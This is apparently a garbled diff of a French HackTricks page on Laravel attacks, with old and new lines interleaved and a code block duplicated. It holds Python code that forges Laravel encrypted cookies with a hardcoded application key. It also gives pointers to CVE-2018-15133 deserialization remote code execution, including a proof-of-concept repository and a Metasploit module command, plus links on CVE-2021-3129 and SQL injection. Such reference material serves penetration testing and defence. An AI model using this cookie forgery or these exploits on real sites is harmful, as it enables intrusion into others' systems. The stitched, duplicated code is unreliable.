return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
@ -92,12 +92,12 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
```
### Laravel Deserialization RCE
Versions vulnérables : 5.5.40 et 5.6.x à travers 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Versions vulnérables : 5.5.40 et 5.6.x à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Vous pouvez tester et exploiter cela en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou vous pouvez également l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
Vous pouvez tester et exploiter cette vulnérabilité en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou vous pouvez également l'exploiter avec Metasploit : `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -105,16 +105,16 @@ Une autre désérialisation : [https://github.com/ambionics/laravel-exploits](ht
### Laravel SQLInjection
Lire des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>